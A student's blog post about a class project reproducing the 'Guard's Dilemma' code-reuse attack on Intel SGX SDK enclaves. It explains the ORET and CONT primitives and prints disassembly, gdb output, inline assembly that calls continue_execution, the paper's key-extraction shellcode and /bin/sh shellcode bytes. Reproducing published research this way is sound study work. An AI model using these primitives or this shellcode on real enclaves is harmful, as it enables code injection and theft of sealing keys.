So I have been doing some school work so didn't have much time to write alot. Today I will introduce one of the projects I have been working on in school. Its a docker container with SGX-SDK that tests attack primitives discussed in a paper called: "The Guard's Dilemma: Efficient Code-Reuse Attacks Against Intel SGX" which was a very interesting read.
https://github.com/wldyd423/docker-IntelSGX
This is the github link to my project. It is a simple project that demonstrates the basic CONT loop introduced in the paper.
I will just copy paste the README.md here to fill space. I already wrote up alot about what the project is and the progress I took during the project.
SGX creates enclaves. These enclaves cannot be reverse engineered since it is encrypted with a key only available within an enclave.
Typical ROP attacks do not work. (why?) (probably because address layout of gadgets are unknown)
DarkROP proposes a method to undermine this procedure. Creating a set of oracles that crash leak address layout of gadgets.
Assuming address layout does not change. These gadgets can be used to launch a ROP attack.
However with an address randomization scheme (ex. SGX Shield) DarkROP does not have a way of extracting gadgets.
The paper proposes a different exploit to undermine these mitigations and launch a ROP attack on SGX. (Seems to use SGX SDK)
SGX enclave run on same x86 processor as ordinary application. ==> require mechanism to transfer between untrusted and trusted code.
SGX instructions interacting with the enclave are organized as leaf fnc. under two real intructions: ENCLS (kernel-mode operations) and ENCLU (user-mode operations)
SGX accomplish synchronus enclave entry through EENTER leaf fnc (invoked by ENCLU). Entry point is specified in the Thread Control Structure (TCS)
EENTER does not clear CPU registers untrusted code pass additional information to entry point. To return back enclave use EEXIT leaf fnc.
just like EENTER, EEXIT does not clear register.
Enclave can be entered concurrently within same thread. Number of concurrent entries in the same thread is limited by State Save Areas (SSA)
SSA stores enclave state during asynchronus exits. number of SSA (NSSA) field in TCS defines how many SSA are present.
Enclave can exit due to hardware exception, which is handled by the kernel in untrusted mode. This event: AEX (Asynchronus Enclave Exit)
Enclave state is saved in an available SSA when AEX occurs. Register values are replaced with synthetic state before handing control to interrupt handler.
Syntethic state ensure enclave opacity and avoid leakage of secrets.
Once interrupt is dealt enclave execution is resumed with ERESUME leaf fnc.
SGX software are developed based on SGX SDK, as it abstracts SGX.
Two SDK provided libraries are vital for this attack:
Trusted Runtime System (tRTS) and Untrusted Runtime Ssytem (uRTS)
tRTS executes inside enclave, uRTS runs outside enclave.
tRTS and uRTS interact with each other handling transition between trusted and untrusted execution modes.
ECALL allow untrusted code to call fnc within enclave. Enclave programmer can arbitrarily select which functions are exposed to ECALL interface.
ECALL can also be nested: untrusted code can execute ECALL while handling OCALL.
Programmer can specify which ECALL are allowed at zero nesting level andwhich are allowed for specific OCALL.
Every ECALL has associated index. To perform ECALL application calls into uRTS library which executes a synchronus enclave entry (EENTER)
passing ECALL index in a register. tRTS check ECALL index is defiend and if it is allowed at current nesting level. Once function returns:
it performs a synchronus exit (EEXIT) giving control back gto uRTS.
Passing and returning arbitrary memory is possible because SGX enclaves can access untrusted memory. Enclave must expose at least ECALL otherwise there is
no way to invoke enclave code: from programmer's perspective enclave code executes in ECALL context.
OCALL mechanism allow trusted code to call untrusted functions defined by the host application.
Need for OCALL stems from the fact that system calls are not allowed inside an enclave.
Like ECALL, OCALL is identified by an index. When enclave has to perform OCALL it calls into tRTS.
tRTS first pushes an OCALL frame onto trusted thread stack which stores current register states.
Next it performs synchronus exit to return from the current ECALL passing OCALL index back to uRTS.
uRTX recognize that exit is for an OCALL and executes target functions and executes ECALL varient known as ORET which restore the contesxt from the OCALL frame through function named asm_oret returning to trusted callsite.
ORET is implemented in tRTS like ECALL data is passed via shared untrusted memory.
SDK enclaves can register handlers to catch exception within enclaves. Upon exceptionan asynchronus enclave exit AEX occurs. This saves the faulting state to the state save area (SSA)
Resulting interrupt is handled by the kernel, which delivers an exception to the untrusted application by means of usual exception handling mechanism of OS.
Exception handler registerd by uRTS performs special ECALL to let enclave handle the exceptions.
By default SDK enclaves have two SSAs available. Hence, it is possible to re-enter enclave while an AEX is pending.
tRTS copies fualting state from SSA to an exception information structure on the trusted stack, and changes the SSA contents so that ERESUME will continue at a secnd phase handler in the tRTS instead of executing faulting instruction again.
Once, ECALL returns uRTS issue ERESUME for faulting thread.
This traverses registered exception handlers which can observe the exception information to determine whether they can handle the exception.
To handle the exception. Handler can modify CPU state contained in the exception informations.
If handler succeeds, tRTS uses fnc. continue_execution to restore CPU registers and resume enclave execution.
If exception cannot be handled, default handler switches the enclave to a crashed state preventing further operations.
(No idea what this means)
Previous works on SGX considered strong adversarial model. Attacker has full control over machine. (Malicious Kernel)
Here we consider weaker attacker that has compromised the application that hosts the enclave by exploiting a vulnerability.
In some cases attacker might even be able to perform attack without any control over host process.
The attacker can:
Cause memory corruption. Attacker knowns of a vulnerability in enclave that allows him or her to corrupt stack memory or fnc poitner on stack/heap/other memory area.
Create fake structure. Attacker can place arbitrary data at some memory location accessible by the enclave. Malicious host process can easily do this given the unrestricted access over its own address space. An attacker could also possible achieve this via normal functionality: steering application to allocate attacker controlled data at predictable addresses.
Has Knowledge of coarse grained memory layout. Attacker knows victim enclaves external memory layout. This is known to the process hosting enclave. Alternatively information leakage vulnerabilities inside enclave could provide this knowledge.
Knowledge of enclave binary. Attacker has access to victim enclave's binary allowing binary analysis on the binary.
Enclave has following capabilities:
SDK usage. Victim enclave is devloped by official SGX SDK from intel. SDK is used by almost all realworld enclaves.
It is development environment endorsed by intel.
Randomized SGX memory. We assume enclave code is hardened by sophisticated mitigation technologies such as address space layout randomization.
enclave is protected by SGX-Shield. Currently only available ASLR for SGX.
Novel Code Reuse Attack Against SGX
Technique is applicable to a wide range of vulnerabilities. => Stack overflow, Corrupting function pointers
Ultimate goal = execute sequence of gadgets without crashing victim enclave
Along the lines of any code reuse attack ROP
However advantage: allow attacker to set all general purpose CPU registers before executing each gadget.
Register control is essential in any code-reuse attack.
For instance,
Preparing data for subsequent gadgets
Set argument for function calls
In contrast, existing code reuse attack on x86 require:
attacker to use specific register setting gadgets to set registers (SGX makes this easier?)
Not requiring those gadgets have two benefits:
First, reduce amount of application code needed for successful code-reuse attack
second, it simplifies the payload development since, attacker does not need to find pop gadgets for all relevent registers
In fact, this attack allows attacker to use whole functions as gadgets. (Working at higher level)
Making it easier to port exploit between different versions of a binary
Attack exploits functionality tRTS (fundamental library of SGXSDK)
Hence the dilemma:
SDK is important part in creating secure enclaves, but in this case it is actually exposing them to attacks.
Two primitives are exploited:
ORET primitive:
First attack allows attacker to gain access to a critical set of CPU registers by exploiting a stack overflow vulnerability
CONT primitive:
Second attack is more powerful, allow attacker to gain access to all general purpose registers. Only requires control of a register. + this attack can combined with ORET primitive to apply it to controlled stack situations.
Basically: ORET==> Set of CPU Register (So only some) access by stack overflow
CONT ==> All General-Purpose Registers Access by ??? (Not said) requires control of a register (x86_64: rdi) (Isn't rdi something to do with ret addr?)
Description of exploit primitive + Attack workflow
Primitive + Preconditions
ORET primitive:
Abusing function asm_oret from tRTS library.
asm_oret is used to restore CPU context after an OCALL(enclave calling untrusted function)
Prerequisite: Control of instruction pointer (Hijack execution of asm_oret) and Control of stack content. (Any Stack overflow vulnerability)
ORET primitive gives control of subset of CPU registers. Including registers that holds the first function argument (rdi) and the instruction pointer
root@ab15c6e9261c:/home/linuxsgx/sgxsdk/lib64# nm -C libsgx_trts_sim.a | grep oret
U do_oret
U asm_oret
0000000000000194 T do_oret
00000000000001eb T asm_oret
root@ab15c6e9261c:/home/linuxsgx/sgxsdk/lib64# nm -C libsgx_trts_sim.a | grep continue_execution
U continue_execution
00000000000002c2 T continue_execution
While evaluating sgx_1.6 trts library (it is compiled so I can't see detailed function definition)
We indeed can find asm_oret and continue_execution function (obviously 1.6 seems to be one of the versions the paper evaluated.)
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
00000000000002e7 T asm_oret
nm: warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(restore_tls.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(restore_tls.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: 00000000000004cb T continue_execution
warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
Upon further inspection we find that the most recent version (sgx_2.18) also have both functions. Wonder if the vulnerability is fixed for these recent iterations (although I am not certain attack can be reproduced)
CONT primitive
Abuse continue_execution from tRTS. It is meant to restore CPU context after an exception
This primitive requires the ability to call that fnc (which one?) with a controlled rdi.
Achievable from exploiting memory corruption vulnerability affecting a function pointer
This yields full control for all general purpose CPU registers.
ORET+CONT
Idea:
use CONT primitive repeatedly to invoke gadgets
chain requires multiple CONT invocations ==> CONT require specific rdi value
use ORET to set rdi and invoke CONT ==> ORET+CONT loop
Paper states that buffer overflow (or any memory corruption vulnerability) can bootstrap the ORET-CONT loop
I am yet to understand the exact meaning but I have tested some aspects and this is a set of notes for my own reference.
The intel sgx sdk compiled application is not invulnerable from every attack. Buffer Overflow is possible but only possible on application layer.
Basically (from my understanding so far) there are two parts Enclave - App (all sample code have these two folders)
If BO vulnerability is in App we can overwrite stack (simple!)
Now since we control the return address we can do what ever we desire within the app but not within the enclave. (important)
So if we have a getkey() function defined on app.cpp we can easily access it.
if we have a within_enclave() function defined in the enclave we can't access it. We know the address (dissassemble within_enclave) but chanigng the return address to this function doesn't work.
But as the paper pointed out that we can access the enclave through normal means (ecall, ocall) we can access 'some features?' in the enclave. Like we can call ecall fnc from buffer overflow.
Now I have to find out ORET (and how that works in sgxsdk)
or check out if ecall can be used to access fnc. within the enclave (since it seems it is impossible from the outside)
There seems to be multiple OCALL functions defined in Enclave_t.c
Enclave.c uses these OCALL to print a stream from within the enclave.
Clearly the most important functions for this exploit: asm_oret and continue_execution
They play key role in context swap between enclave and untrusted code execution. But since SGXSDK is code it can be abused for ROP attack (basic idea of GuardsDilemma paper)
SnakeGX seems to be somewhat of an followup to GuardsDilemma.
It utilize continue_execution to do some form of ROP attack whilst undetected(?) by healthy OS
So poking around the code of SnakeGX I figured out how to find (maybe) asm_oret and contineu_execution
within enclave_signed.io
root@0733f5f47830:/home/linuxsgx/sgxsdk/SampleCode/SampleEnclave# nm enclave.signed.so | grep asm_oret
0000000000008c17 t asm_oret
root@0733f5f47830:/home/linuxsgx/sgxsdk/SampleCode/SampleEnclave# nm enclave.signed.so | grep continue_execution
0000000000008cee t continue_execution
root@0733f5f47830:/home/linuxsgx/sgxsdk/SampleCode/SampleEnclave#
This section displays (?) address to asm_oret and continue_execution
We start a buffer overflow and use asm_oret to start a ORET-CONT chain?
Not sure ...
First I learned basically how to find asm_oret.
First the enclave_signed.io seem to have the address of the functions
Furthermore, /proc/PID/maps seem to contain mapping information to know the base address of the enclave.
Now the problem.
Since, I am running only SGX SDK (since most PC processers don't support SGX anymore)
I don't have a driver and usually the enclave is identified by isgx (i think its the driver)
So how does everything role when there is no driver?
Furthermore exception is not captured in Simulation mode. This means continue_execution (CONT primitive) might be deactivated.
Upon further inspection the sgxsdk seems to simulate a half baked version of the enclave. In simulation mode.
The key notice is whether CONT primitive is alive (as it explicitely state that exception is not captured in Simulation mode so no need for continue_execution)
0x7fe0a5ad7c17: mov %rdi,%rsp
0x7fe0a5ad7c1a: mov %rsi,%rax
0x7fe0a5ad7c1d: mov 0x38(%rsp),%r15
0x7fe0a5ad7c22: mov 0x40(%rsp),%r14
0x7fe0a5ad7c27: mov 0x48(%rsp),%r13
0x7fe0a5ad7c2c: mov 0x50(%rsp),%r12
0x7fe0a5ad7c31: mov 0x58(%rsp),%rbp
0x7fe0a5ad7c36: mov 0x60(%rsp),%rdi
0x7fe0a5ad7c3b: mov 0x68(%rsp),%rsi
0x7fe0a5ad7c40: mov 0x70(%rsp),%rbx
0x7fe0a5ad7c45: add $0x98,%rsp
0x7fe0a5ad7c4c: retq
This short assembly code just by looking at it you know its asm_oret()
Using the base address given by the sgxsdk during simulation mode (since no enclave is running it tells us the base address)
(Enclave base address can be acquired through /proc/[PID]/maps)
sgxuser@7877f892d194:/proc/6$ cat maps | grep enclave
7f1b0e5df000-7f1b0e5e1000 r--p 00000000 00:41 1814539 /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e1000-7f1b0e5e6000 r-xp 00002000 00:41 1814539 /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e6000-7f1b0e5e8000 r--p 00007000 00:41 1814539 /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e8000-7f1b0e5e9000 r--p 00008000 00:41 1814539 /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e9000-7f1b0e5ea000 rw-p 00009000 00:41 1814539 /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
This is from a docker execution witAhin the base linux-sgx repository /linux/installer/docker
Here I executed docker-compose and docker exec ... /bin/bash into the container looked for the map to find that the base address can be acquired this way. (Which is the method used by SnakeGX)
0x7fe0a5ad7cee: mov %rdi,%rcx
0x7fe0a5ad7cf1: mov 0x20(%rcx),%rdx
0x7fe0a5ad7cf5: mov %rdx,%rsp
0x7fe0a5ad7cf8: sub $0x8,%rsp
0x7fe0a5ad7cfc: mov 0x88(%rcx),%rax
0x7fe0a5ad7d03: mov %rax,(%rsp)
0x7fe0a5ad7d07: mov (%rcx),%rax
0x7fe0a5ad7d0a: mov 0x10(%rcx),%rdx
0x7fe0a5ad7d0e: mov 0x18(%rcx),%rbx
0x7fe0a5ad7d12: mov 0x28(%rcx),%rbp
0x7fe0a5ad7d16: mov 0x30(%rcx),%rsi
0x7fe0a5ad7d1a: mov 0x38(%rcx),%rdi
0x7fe0a5ad7d1e: mov 0x40(%rcx),%r8
0x7fe0a5ad7d22: mov 0x48(%rcx),%r9
0x7fe0a5ad7d26: mov 0x50(%rcx),%r10
0x7fe0a5ad7d2a: mov 0x58(%rcx),%r11
0x7fe0a5ad7d2e: mov 0x60(%rcx),%r12
0x7fe0a5ad7d32: mov 0x68(%rcx),%r13
0x7fe0a5ad7d36: mov 0x70(%rcx),%r14
0x7fe0a5ad7d3a: mov 0x78(%rcx),%r15
0x7fe0a5ad7d3e: pushq 0x80(%rcx)
0x7fe0a5ad7d44: popfq
0x7fe0a5ad7d45: mov 0x8(%rcx),%rcx
0x7fe0a5ad7d49: retq
Again using a same method I acquired this.
Similar to asm_oret() but more registers. This is continue_execution.
Using the base address and the address offset acquired from enclave.signed.so
Still not working
(gdb) info reg
rax 0x7fffb6fdcf20 140736263474976
rbx 0x616 1558
rcx 0x614 1556
rdx 0x320 800
rsi 0x7fffb6fdce70 140736263474800
rdi 0x619 1561
rbp 0x618 0x618
rsp 0x7fdba09a89f0 0x7fdba09a89f0 <_rtld_global+2448>
r8 0x3cca 15562
r9 0x3ccb 15563
r10 0x61c 1564
r11 0x61d 1565
r12 0x61e 1566
r13 0x61f 1567
r14 0x620 1568
r15 0x621 1569
rip 0x7fdb9e2dcd59 0x7fdb9e2dcd59
eflags 0x602 [ IF DF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Notable progress is I can corrupt registers (so continue execution works well)
The paper introduces two attacks, ORET-CONT loop and CONT loop. asm_oret is a function that restores some registers and is used to switch context after an OCALL. continue_execution is a function that restores all general purpose registers after an exception.
This project uses the CONT loop.
Using the CONT loop, the attack uses a write gadget, which is part of "do_rdrand".
mov dword ptr [rcx], eax
mov eax, 1
ret
Using ROPgadget or just reading the enclave.signed.io we can get addresses of asm_oret, continue_execution, and write gadget.
The initial attack is conducted by calling the continue_execution using:
__asm__(
"mov %0, %%rdi\n"
"call %1\n"
: // no output
: "r" (tmp), "r" (addr)
: "rdi"
);
Which sets the rdi to the crafted context (register values we want to plant into the system) and calls continue_execution. This part is primitive but there are multiple ways to call continue_execution.
To call continue execution you need two things. Control over the rdi register (to pass the crafted context) and the rip register (since we need to call this function). Any memory vulnerability that allows this can be used.
Paper introduces the use of asm_oret to do this. To use asm_oret we only need buffer overflow. Paper states to overflow the return address to the address of asm_oret followed by the crafted context for oret to use (which will carry the rdi value for continue_execution and the stack will probably end with address of continue execution to start the ORET-CONT loop).
the ORET-CONT loop allows asm_oret to call continue_execution. continue_execution will call the gadget and since continue_execution controls the rsp, asm_oret can be called after the gadget.
One distinct part of this attack is that we need some structures (crafted stack and context) within the memory accessible to the enclave. This does not require this structure to be within trusted memory as enclave has access to untrusted memory. To do this structure is written within the application code.
The stack is filled with the address to continue_execution. And cpu_context is crafted containing a rflag (not setting rflag seem to trigger Trace/Breakpoint signal) to 530. rax is set to the 4 bytes of code to be written and rcx points to the destination to write the code.
The paper becomes rather vague about this destination. Basically the write gadget is used to write code into this area and continue execution will execute the code by changing the rip to the first instruction of injected code.
So this is basically a ROP based code injection displaying the Guards Dilemma where SGX SDK is tricked by the attacker to inject and execute malicious code. (In that sense we cover a lot of things we saw in this class)
For sake of simplicity the code is injected into the stack. That is the fake stack we created. There are two injected codes one is commented out because it doesn't work. This is due to the 'enclu' instruction. This instruction is specifically for SGX CPU regarding enclaves.
The benefit of this attack is the ROP code is executed within the enclave. This allows the attacker to attack remote attestation and act as if they are the enclave. This shell code is introduced within the paper. The bytes are successfully printed into the stack however it is not disassembled properly (due to enclu).
Code injection can be done on application level however this attack displays how much power continue_execution gives to the attacker. Not only do we control return address like a traditional buffer overflow based ROP but we control every general purpose register.
The shell code introduced in the paper:
### Initial register state :
### rax = 0 ( EREPORT leaf )
### rbx = EEXIT return address
### rcx = 512+512+64
### ( total size of structures )
### rdx = writable 512 - byte aligned enclave
### area for temporary data
### rdi = writable 512 - byte aligned enclave
### area to copy structures into
### rsi = address of attacker ’s KEYREQUEST +
### TARGETINFO + REPORTDATA
### rbp = address of attacker ’s key buffer
### rsp = writable area for shellcode stack
push rbx
push rdi
### Copy KEYREQUEST , TARGETINFO ,
### REPORTDATA to enclave memory
rep movsb
### EREPORT
lea rcx , [ rdi -64]
lea rbx , [ rcx -512]
enclu
### Copy report ’s ISVSVN to KEYREQUEST
pop rbx
mov ax , [ rdx +258]
mov [ rbx +4] , ax
### Copy report ’s CPUSVN to KEYREQUEST
vmovdqa xmm0 , [ rdx ]
vmovdqu [ rbx +8] , xmm0
### Copy report ’s KEYID to KEYREQUEST
vmovdqa ymm0 , [ rdx +384]
vmovdqu [ rbx +40] , ymm0
### EGETKEY
push rdx
pop rcx
mov al , 1
enclu
### Copy key to attacker ’s memory
movdqa xmm0 , [ rdx ]
movdqu [ rbp ], xmm0
### EEXIT to attacker ’s code
pop rbx
mov al , 4
enclu
To test the injection and execution of code we used basic shell code.
6a 42 push 0x42
58 pop rax
fe c4 inc ah
48 99 cqo
52 push rdx
48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f2f6e69622f
2f 73 68
57 push rdi
54 push rsp
5e pop rsi
49 89 d0 mov r8, rdx
49 89 d2 mov r10, rdx
0f 05 syscall
This can be done without using enclave. Actually it can be done easier that way however the purpose of this is to present how we can control registers to inject code and execute them (like done in the paper).
The SGX 1.6 is the lowest version available in Linux-IntelSGX github. The paper discusses this version and other post 2.0 versions and there differences in implementing key functions such as asm_oret and continue_execution.
0x7fe0a5ad7c17: mov %rdi,%rsp
0x7fe0a5ad7c1a: mov %rsi,%rax
0x7fe0a5ad7c1d: mov 0x38(%rsp),%r15
0x7fe0a5ad7c22: mov 0x40(%rsp),%r14
0x7fe0a5ad7c27: mov 0x48(%rsp),%r13
0x7fe0a5ad7c2c: mov 0x50(%rsp),%r12
0x7fe0a5ad7c31: mov 0x58(%rsp),%rbp
0x7fe0a5ad7c36: mov 0x60(%rsp),%rdi
0x7fe0a5ad7c3b: mov 0x68(%rsp),%rsi
0x7fe0a5ad7c40: mov 0x70(%rsp),%rbx
0x7fe0a5ad7c45: add $0x98,%rsp
0x7fe0a5ad7c4c: retq
0x7fe0a5ad7cee: mov %rdi,%rcx
0x7fe0a5ad7cf1: mov 0x20(%rcx),%rdx
0x7fe0a5ad7cf5: mov %rdx,%rsp
0x7fe0a5ad7cf8: sub $0x8,%rsp
0x7fe0a5ad7cfc: mov 0x88(%rcx),%rax
0x7fe0a5ad7d03: mov %rax,(%rsp)
0x7fe0a5ad7d07: mov (%rcx),%rax
0x7fe0a5ad7d0a: mov 0x10(%rcx),%rdx
0x7fe0a5ad7d0e: mov 0x18(%rcx),%rbx
0x7fe0a5ad7d12: mov 0x28(%rcx),%rbp
0x7fe0a5ad7d16: mov 0x30(%rcx),%rsi
0x7fe0a5ad7d1a: mov 0x38(%rcx),%rdi
0x7fe0a5ad7d1e: mov 0x40(%rcx),%r8
0x7fe0a5ad7d22: mov 0x48(%rcx),%r9
0x7fe0a5ad7d26: mov 0x50(%rcx),%r10
0x7fe0a5ad7d2a: mov 0x58(%rcx),%r11
0x7fe0a5ad7d2e: mov 0x60(%rcx),%r12
0x7fe0a5ad7d32: mov 0x68(%rcx),%r13
0x7fe0a5ad7d36: mov 0x70(%rcx),%r14
0x7fe0a5ad7d3a: mov 0x78(%rcx),%r15
0x7fe0a5ad7d3e: pushq 0x80(%rcx)
0x7fe0a5ad7d44: popfq
0x7fe0a5ad7d45: mov 0x8(%rcx),%rcx
0x7fe0a5ad7d49: retq
The SGX 2.18 is the latest available in Linux-IntelSGX github. Attack does not work for this version. Maybe further investigation can be done as to why it doesn't work and how Intel has patched the SGX-SDK after release of papers such as Guard's Dilemma and SnakeGX.
0000000000036ab8 <asm_oret>:
36ab8: 48 89 e3 mov %rsp,%rbx
36abb: 48 89 7c 24 08 mov %rdi,0x8(%rsp)
36ac0: 48 89 74 24 10 mov %rsi,0x10(%rsp)
36ac5: 48 8b 63 08 mov 0x8(%rbx),%rsp
36ac9: 48 8b bc 24 98 00 00 mov 0x98(%rsp),%rdi
36ad0: 00
36ad1: e8 02 fd ff ff call 367d8 <restore_xregs>
36ad6: 0f ae e8 lfence
36ad9: 48 31 c0 xor %rax,%rax
36adc: 48 8b 4c 24 58 mov 0x58(%rsp),%rcx
36ae1: 48 29 f9 sub %rdi,%rcx
36ae4: 48 83 e9 08 sub $0x8,%rcx
36ae8: 48 c1 e9 02 shr $0x2,%rcx
36aec: fc cld
36aed: f3 ab rep stos %eax,%es:(%rdi)
36aef: 48 8b 43 10 mov 0x10(%rbx),%rax
36af3: 4c 8b 7c 24 38 mov 0x38(%rsp),%r15
36af8: 4c 8b 74 24 40 mov 0x40(%rsp),%r14
36afd: 4c 8b 6c 24 48 mov 0x48(%rsp),%r13
36b02: 4c 8b 64 24 50 mov 0x50(%rsp),%r12
36b07: 48 8b 6c 24 58 mov 0x58(%rsp),%rbp
36b0c: 48 8b 7c 24 60 mov 0x60(%rsp),%rdi
36b11: 48 8b 74 24 68 mov 0x68(%rsp),%rsi
36b16: 48 8b 5c 24 70 mov 0x70(%rsp),%rbx
36b1b: 48 89 ec mov %rbp,%rsp
36b1e: 5d pop %rbp
36b1f: c3 ret
36b20: 0f 0b ud2
0000000000036bec <continue_execution>:
36bec: 48 89 f9 mov %rdi,%rcx
36bef: 48 8b 01 mov (%rcx),%rax
36bf2: 50 push %rax
36bf3: 48 8b 41 08 mov 0x8(%rcx),%rax
36bf7: 50 push %rax
36bf8: 48 8b 41 20 mov 0x20(%rcx),%rax
36bfc: 48 2d 88 00 00 00 sub $0x88,%rax
36c02: 48 8b 51 10 mov 0x10(%rcx),%rdx
36c06: 48 8b 59 18 mov 0x18(%rcx),%rbx
36c0a: 48 8b 69 28 mov 0x28(%rcx),%rbp
36c0e: 48 8b 71 30 mov 0x30(%rcx),%rsi
36c12: 48 8b 79 38 mov 0x38(%rcx),%rdi
36c16: 4c 8b 41 40 mov 0x40(%rcx),%r8
36c1a: 4c 8b 49 48 mov 0x48(%rcx),%r9
36c1e: 4c 8b 51 50 mov 0x50(%rcx),%r10
36c22: 4c 8b 59 58 mov 0x58(%rcx),%r11
36c26: 4c 8b 61 60 mov 0x60(%rcx),%r12
36c2a: 4c 8b 69 68 mov 0x68(%rcx),%r13
36c2e: 4c 8b 71 70 mov 0x70(%rcx),%r14
36c32: 4c 8b 79 78 mov 0x78(%rcx),%r15
36c36: ff b1 80 00 00 00 push 0x80(%rcx)
36c3c: 9d popf
36c3d: 48 8b 89 88 00 00 00 mov 0x88(%rcx),%rcx
36c44: 48 89 08 mov %rcx,(%rax)
36c47: 59 pop %rcx
36c48: 5c pop %rsp
36c49: 48 94 xchg %rax,%rsp
36c4b: c2 80 00 ret $0x80
So basically that was all about the final product. Its basic and simple I hoped I could do something more interesting but SGX attacks were quite difficult to reproduce because it was dependant on a lot of factors or I just lacked the understanding.